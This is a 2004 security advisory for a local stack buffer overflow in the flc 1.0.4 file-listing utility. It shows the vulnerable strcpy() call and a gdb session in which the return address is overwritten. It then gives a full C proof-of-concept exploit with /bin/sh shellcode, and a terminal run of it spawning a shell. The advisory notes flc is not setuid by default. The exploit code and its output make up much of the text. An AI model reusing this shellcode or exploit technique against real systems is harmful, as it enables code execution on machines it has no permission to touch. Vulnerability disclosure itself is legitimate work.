------------------------------------------------- No System Group - Advisory #06 - 24/09/04 ------------------------------------------------- Program: flc Homepage: http://ucon64.sourceforge.net/ Vulnerable Versions: flc 1.0.4 and prior Risk: Low / Medium Impact: Local Stack Buffer Overflow Vulnerability ------------------------------------------------- - DESCRIPTION ------------------------------------------------- This may be freely redistributed under the terms of the GNU Public License flc lists information about the files in a directory, like 'ls' or 'dir' commands from the fileutils package. But in addition, it shows FILE_ID.DIZ information (from files and archives), ID3 tags (MP3), and MET files (eDonkey or Overnet) It is very useful for FTP admins or people who have a lot to do with files. More informations at: http://ucon64.sourceforge.net/ - DETAILS ------------------------------------------------- Due to an unsafe copying of parameters from the command line using strcpy() in flc.c, it is possible overwrite the return address: --- flc.c --- 140: if (flc.html) 141: printf ("

");
142:  if (optind < argc)
143:    {
144:      while (optind < argc)
145:        strcpy (path, argv[optind++]);
146    }
--- flc.c ---

coki@nosystem:~$ flc `perl -e 'print "A" x 50000'`
Segmentation fault
coki@nosystem:~$

coki@nosystem:~$ gdb flc
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...(no debugging symbols found) ...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) r `perl -e 'print "A" x 25632'`
Starting program: /home/coki/audit/flc-1.0.4-linux-bin/bin/flc `perl -e 'print " A" x 25632'`
(no debugging symbols found)...(no debugging symbols found)...install.sh   N 120  11-03-02  install.sh
flc          N  20448  11-03-02  flc
txtextract   N  13964  11-03-02  txtextract
id3extract   N  16876  11-03-02  id3extract
metextract   N  16268  11-03-02  metextract

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp ebp eip
esp            0xbfff91d0       0xbfff91d0
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
(gdb) q
The program is running.  Exit anyway? (y or n) y
coki@nosystem:~$


- EXPLOIT
-------------------------------------------------

------------------ flc_exp.c --------------------
/* flc local stack buffer overflow exploit
   (Proof of Concept)

   Tested in Slackware 10.0

   by CoKi 
   No System Group - http://www.nosystem.com.ar
*/

#include 
#include 

#define BUFFER 25632 + 1

char shellcode[]=
		"\x31\xc0"                         /* xor %eax,%eax    */
		"\x31\xd2"                         /* xor %edx,%edx    */
		"\x52"                             /* push %edx        */
		"\x68\x2f\x2f\x73\x68"             /* push $0x68732f2f */
		"\x68\x2f\x62\x69\x6e"             /* push $0x6e69622f */
		"\x89\xe3"                         /* movl %esp,%ebx   */
		"\x52"                             /* push %edx        */
		"\x53"                             /* push %ebx        */
		"\x89\xe1"                         /* movl %esp,%ecx   */
		"\xb0\x0b"                         /* mov $0xb,%al     */
		"\xcd\x80";                        /* int $0x80        */

int main(int argc, char *argv[]) {

	char *env[3] = {shellcode, NULL};
	char buf[BUFFER], *path;
	int *buffer = (int *) (buf);
	int i, ret;

	if(argc != 2) {
		printf(" use: %s \n", argv[0]);
		exit(0);
	}

	path = argv[1];

	ret = 0xbffffffa - strlen(shellcode) - strlen(path);

	for(i=0; i<=BUFFER; i+=4)
	*buffer++ = ret;

	printf("\n flc <= 1.0.4 local stack buffer overflow (Proof of Concept)\n");
	printf(" by CoKi \n\n");

	execle(path, "flc", buf, NULL, env);
}

------------------ flc_exp.c --------------------

coki@servidor:~$ make glFTPd-dupe_exp
coki@servidor:~$ ./flc_exp /home/coki/audit/flc-1.0.4-linux-bin/bin/flc

 flc <= 1.0.4 local stack buffer overflow (Proof of Concept)
 by CoKi 

WARNING: /home/coki/audit/flc-1.0.4-linux-bin/bin/.flcrc not found: creating...OK

install.sh   N    120  11-03-02  install.sh
flc          N  20448  11-03-02  flc
txtextract   N  13964  11-03-02  txtextract
id3extract   N  16876  11-03-02  id3extract
metextract   N  16268  11-03-02  metextract
flc_exp.c    N   1425  09-24-04  flc_exp.c
flc_exp      N  11336  09-24-04  flc_exp
.flcrc       N   1162  09-24-04  .flcrc
sh-2.05b$

'flc' is not setuid by default :(


- SOLUTIONS
-------------------------------------------------
No yet


- REFERENCES
-------------------------------------------------
http://www.nosystem.com.ar/advisories/advisory-06.txt


- CREDITS
-------------------------------------------------
Discovered by CoKi 

No System Group - http://www.nosystem.com.ar
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